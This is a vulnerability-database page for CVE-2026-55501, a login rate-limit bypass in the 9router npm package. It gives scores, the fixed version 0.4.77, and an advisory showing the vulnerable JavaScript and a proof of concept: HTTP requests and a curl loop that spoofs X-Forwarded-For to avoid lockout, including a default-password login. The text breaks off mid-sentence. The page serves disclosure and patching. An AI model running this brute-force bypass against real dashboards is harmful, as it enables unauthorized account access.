Skip to main content
VulnerabilityPublished

CVE-2026-55501: 9router · Login brute-force protection bypass via spoofed X-Forwarded-For header

Affects 9routerSource GCVE Database

0

Not known to be exploited · CVSS 7.3 High : upgrade to 0.4.77 soon.

Data as of 26 Oct 2026, 15:59 UTC

CVSS 3.1 base score
7.3High
How severe the flaw is on the 0–10 CVSS scale.
EPSS
0.3% chance of exploitation in 30 days – higher than 31% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch
Available – fixed in 0.4.77
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Exploitation evidence

  1. Disclosed: evidence found.

    CVE published 6 Jul 2026

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponised: no evidence on record.

    No public exploit code indexed in Metasploit or Exploit-DB

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

What to do

Upgrade 9router to 0.4.77.

Affected software

ProductAffectedFixed in
npm9routerAffected
  • <0.4.77
Fixed in
  • 0.4.77

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

## Summary The 9router dashboard login rate limiter derives the client identity from the attacker-controlled `X-Forwarded-For` HTTP header. When 9router is directly exposed, or deployed behind a reverse proxy that does not overwrite untrusted forwarding headers, a remote attacker can rotate the `X-Forwarded-For` value on each login attempt and receive a fresh rate-limit bucket every time. This bypasses the dashboard brute-force protection and makes the login lockout mechanism ineffective. ## Details | Component | File | Note | | ---------------------------- | --------------------------------- | --------------------------------------------------------------------------- | | Dashboard login rate limiter | `src/lib/auth/loginLimiter.js` | Uses `X-Forwarded-For` as the client identity without a trusted-proxy check | | Dashboard login route | `src/app/api/auth/login/route.js` | Calls `checkLock()` and `recordFail()` using the spoofable client identity | #### Vulnerable Code `src/lib/auth/loginLimiter.js`: ```js export function getClientIp(request) { const xff = request.headers.get("x-forwarded-for"); if (xff) return xff.split(",")[0].trim(); return request.headers.get("x-real-ip") || "unknown"; } ``` The returned value is used as the key for the in-memory rate-limit state: ```js const attempts = new Map(); // ip -> { fails, lockUntil, lockLevel, lastFailAt } ``` The login route uses this value when checking and recording failed login attempts: ```js export async function POST(request) { const ip = getClientIp(request); const lock = checkLock(ip); if (lock.locked) { return NextResponse.json( { error: `Too many failed attempts. Try again in ${lock.retryAfter}s.` }, { status: 429 } ); } // ... password validation ... recordFail(ip); } ``` Because `X-Forwarded-For` is accepted directly from the request, each unique header value creates a new rate-limit bucket with zero previous failures. An attacker can therefore bypass both the 5-attempt threshold and the progressive lockout durations. ## PoC ### Step 1 — Baseline: rate limiter triggers when the client identity is stable Send repeated failed login attempts with the same `X-Forwarded-For` value: ```http POST /api/auth/login HTTP/1.1 Host: localhost:20128 Content-Type: application/json X-Forwarded-For: 1.1.1.1 {"password":"wrong-password"} ``` Observed behavior: | Attempt | Response | | ------- | ----------------------------------------------------- | | 1 | `Invalid password. 4 attempt(s) left before lockout.` | | 2 | `Invalid password. 3 attempt(s) left before lockout.` | | 3 | `Invalid password. 2 attempt(s) left before lockout.` | | 4 | `Invalid password. 1 attempt(s) left before lockout.` | | 5 | `Too many failed attempts. Try again in 30s.` | | 6 | `Too many failed attempts. Try again in 30s.` | This confirms that the lockout logic works when all attempts are assigned to the same rate-limit bucket. ### Step 2 — Bypass: rotate `X-Forwarded-For` on each request Send failed login attempts while changing the `X-Forwarded-For` value for every request: ```bash for i in $(seq 1 10); do curl -s -X POST "http://localhost:20128/api/auth/login" \ -H "Content-Type: application/json" \ -H "X-Forwarded-For: 10.0.0.$i" \ -d '{"password":"wrong-password"}' echo done ``` Observed response for every request: ```json { "error": "Invalid password. 4 attempt(s) left before lockout.", "remainingBeforeLock": 4 } ``` The counter resets to the initial state on every request, and the lockout is never triggered. ### Step 3 — Impact amplifier: default dashboard password If the instance is still using the default dashboard password, the rate-limit bypass allows an attacker to avoid lockout while attempting to authenticate. Example request: ```http POST /api/auth/login HTTP/1.1 Host: localhost:20128 Content-Type: application/json X-Forwarded-For: 99.99.99.99 {"password":"<default-dashboard-password>"} ``` Observed response on a default installation: ```http HTTP/1.1 200 OK Set-Cookie: auth_token=<redacted>; Path=/; HttpOnly; SameSite=lax ``` ```json { "success": true } ``` The default password is an impact amplifier, not the root cause. Even if an administrator changes the password, the rate limiter remains structurally bypassable because the attacker controls the rate-limit key. ## Attack Scenario 1. A remote attacker identifies a publicly reachable 9router dashboard. 2. The attacker sends repeated login attempts to `/api/auth/login`. 3. For each attempt, the attacker changes the `X-Forwarded-For` header value. 4. 9router treats each request as a different client and assigns a fresh rate-limit bucket. 5. The attacker can continue brute-force attempts without triggering

References

Community reviews

Loading reviews…